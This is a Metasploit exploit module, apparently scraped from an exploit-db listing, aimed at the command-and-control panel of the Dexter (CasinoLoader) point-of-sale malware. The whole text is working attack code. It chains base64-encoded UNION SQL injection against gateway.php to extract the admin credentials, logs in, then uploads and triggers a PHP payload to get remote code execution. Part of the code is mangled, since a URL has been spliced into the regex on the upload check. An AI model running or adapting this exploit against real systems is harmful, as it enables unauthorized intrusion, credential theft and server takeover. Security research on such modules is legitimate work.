1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Dexter (CasinoLoader) SQL Injection", 'Description'=> %q{ This module exploits a vulnerability found in the command and control panel used to control Dexter (Point of Sale malware).This is done by accessing the PHP page used by bots to report in (gateway.php) which does not sanitize input. Input is encrypted and encoded, but the key is supplied by the bot connecting. The 'page' parameter is used in this case.The command and control panel designates a location to upload files, and can be used as a reliable location to write a PHP shell.Authentication is not needed to exploit this vulnerability. }, 'License'=> MSF_LICENSE, 'Author' => [ 'bwall (Brian Wallace) <bwallace[at]cylance.com>' ], 'References' => [ [ "URL", "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html" ] ], 'Payload'=> { 'BadChars' => "\x00" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [ ['CasinoLoader gateway.php on Windows', {}], ['CasinoLoader gateway.php on Linux', {}] ], 'Privileged' => false, 'DisclosureDate' => "Feb 08 2014" )) register_options( [ OptString.new('TARGETURI', [true, 'The path to the CasinoLoader root folder', '/']), OptString.new('TARGETGATEWAY', [true, 'Name of bot gateway page', 'gateway.php']), OptString.new('TARGETLOGIN', [true, 'Name of panel login page', 'index.php']), OptString.new('TARGETUPLOAD', [true, 'Name of panel upload page', 'upload.php']), OptString.new('TARGETDATABASEUSERTABLE', [true, 'Table in database that holds admin data', 'users']) ], self.class) end def gateway return normalize_uri(target_uri.path, datastore['TARGETGATEWAY']) end def login return normalize_uri(target_uri.path, datastore['TARGETLOGIN']) end def upload return normalize_uri(target_uri.path, datastore['TARGETUPLOAD']) end def database_get_field(table, column, row) res = send_request_cgi({ 'method' => 'POST', 'uri'=>gateway, 'vars_post' => { 'val' => 'AA==', 'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + row.to_s + " -- --") } }) if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') return Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1]))[1..-3] end return false end def check testvalue = rand_text_alpha(9) res = send_request_cgi({ 'method' => 'POST', 'uri'=>gateway, 'vars_post' => { 'val' => 'AA==', 'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1,'" + testvalue + "',3 -- --") } }) if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') and Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit payload_name = rand_text_alpha(rand(10) + 5) + '.php' print_status("#{peer} - Using SQL injection to acquire credentials") user = database_get_field('users', 'name', 0) if user == false print_error("#{peer} - Failed to acquire administrator username") return end password = database_get_field('users', 'password', 0) if password == false print_error("#{peer} - Failed to acquire administrator password") end print_status("#{peer} - Using #{user}:#{password}") res = send_request_cgi({ 'method' => 'POST', 'uri'=>login, 'vars_post' => { 'submit' => '1', 'username' => user, 'password' => password } }) login_cookie = "" if res and res.headers.has_key?('Location') login_cookie = res.get_cookies print_status("#{peer} - Login successful") else print_error("#{peer} - Failed to log in") return end data = Rex::MIME::Message.new data.add_part("MAX_FILE_SIZE", nil, nil, 'form-data; name="MAX_FILE_SIZE"') data.add_part("<?php #{payload.encoded} ?>", nil, nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload_name}\"") post_data = data.to_s print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', 'uri'=> upload, 'ctype'=> "multipart/form-data; boundary=#{data.bound}", 'cookie' => login_cookie, 'data' => post_data }) if res and res.code == 200 and res.body =~ /a href="https://www.exploit-db.com/exploits/31695/upload.php\?del=(.*)">/ path = $1 if target.name =~ /Linux/ path = path.sub! "\\", "/" end target_path = normalize_uri(target_uri.path, path) print_status("#{peer} - Requesting: #{target_path}") send_request_raw({'uri' => normalize_uri(target_path)}) handler else print_error("#{peer} - Failed to upload file") return end end end |